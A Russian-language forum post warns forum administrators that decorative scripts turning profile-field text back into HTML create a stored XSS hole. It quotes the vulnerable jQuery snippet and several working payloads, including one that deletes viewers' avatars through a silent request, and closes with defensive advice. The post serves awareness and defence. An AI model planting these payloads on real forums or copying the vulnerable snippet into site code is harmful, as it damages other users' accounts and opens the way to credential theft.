С постепенным освоением нейросетей широкими народными массами появляется больше разнообразных скриптов, призванных украсить жизнь форумных жителей. Это, безусловно, приятно, но думается, не стоит в погоне за красотой забывать о некоторых важных вещах. Например, о безопасности.
Что такое XSS
и при чём тут безопасность
XSS (Cross-Site Scripting) -- это вариант атаки на веб-системы, в котором злоумышленник внедряет вредоносный код непосредственно на выдаваемую страницу. И когда посетитель открывает такую страницу, этот код выполняется прямо в его браузере.
Все приличные веб-сервера защищены от XSS в частности, валидацией и экранированием пользовательских полей. В случаее с mybb&co это означает, что теги html выполняются строго в iframe и запрет на использование скриптов. И именно поэтому только администраторы могут вставлять html код в поля профиля, а вставленный пользователем html превратится в текст.
Но всем хочется плашечки, картиночки и красивости, а администраторы устают ручками это всё менять, так что на помощь пришли простенькие скрипты, подменяющие текст на html, и создающие, таким образом брешь в защите форума, например, такие:
$('.pa-fld1').each(function(){
$(this).html(function(){
return $(this).text();
});
});Все довольны, можно разрешить пользователям самим украшать себя -- пока на форуме не появляется злоумышленник или просто некто, чрезмерно любознательный. Он неожиданно обнаруживает, что можно написать в поле своего профиля простенькое
<script>$("#pun").remove();</script>и тогда у всех пользователей, заглянувших на страницу, где наш герой оставил сообщение, тело форума просто пропадёт.
Происходит следующее:
Пользователь пишет в поле что-то вроде: <script>alert('xss')</script>
Движок форума экранирует всё подозрительное: <script>alert('xss')</script>
Скрипт берёт уже экранированный текст и преобразовывает его обратно в html
Браузер видит: <script>alert('xss')</script> и выполняет код
Примеры шуточных скриптов
ничего плохого не происходит, но заставляет задуматься
Заменит всем пользователям, просматривающим страницу, тему на чёрную (подставить название нужной темы)
<script>localStorage.setItem('selectedTheme', 'black')</script>Заставит форум сделать бочку
$("body").css({"transform": "rotate(180deg)", "transition": "transform 2s"})Имитирует "залипание" клавиш, если пользователь печатает что-то на странице со скриптом
<script>document.addEventListener('keydown',(e)=>{if(Math.random()>0.6)e.preventDefault();})</script>Удалит аватары всем пользователям, просматривающим страницу
<script>o=document.URL;history.replaceState(null, null, "/profile.php?section=avatar&id="+UserID);$.ajax("/profile.php?action=delete_avatar&id="+UserID);history.replaceState(null,null,o)</script>Пьяный скролл (заставит страницу дёргаться при прокрутке)
<script>let w = 0;window.addEventListener('scroll', () => {w = (w+ 1) % 10;$('html').css({'transform': `rotate(${Math.sin(w)*0.31}deg)`,'transition': 'transform 0.1s'});});</script>Что ещё можно устроить с этой штукой
Можно видоизменять чужие поля профиля (обнулить банк, посты, что еще важно)
Следовательно, можно породить цепную реакцию, загружая в чужие профили дополнительные скрипты.
При должном упорстве, особенно на форумах, где дополнительно установлен "быстрый вход", можно украсть пароли.
...
Что делать
Задуматься
Не доверять
Экранировать данные
Проверять
Если не понимаете совсем ничего в кодах, спросите того, кто понимает (или нейросеть), что делает тот конкретный скрипт, который вы хотите вставить на форум.
- Подпись автора
Подпись - это небольшая приписка, прилагаемая к вашим сообщениям. Это может быть все, что вам нравится. Например
1
96













![de other side [crossover]](https://i.imgur.com/BQboz9c.png)









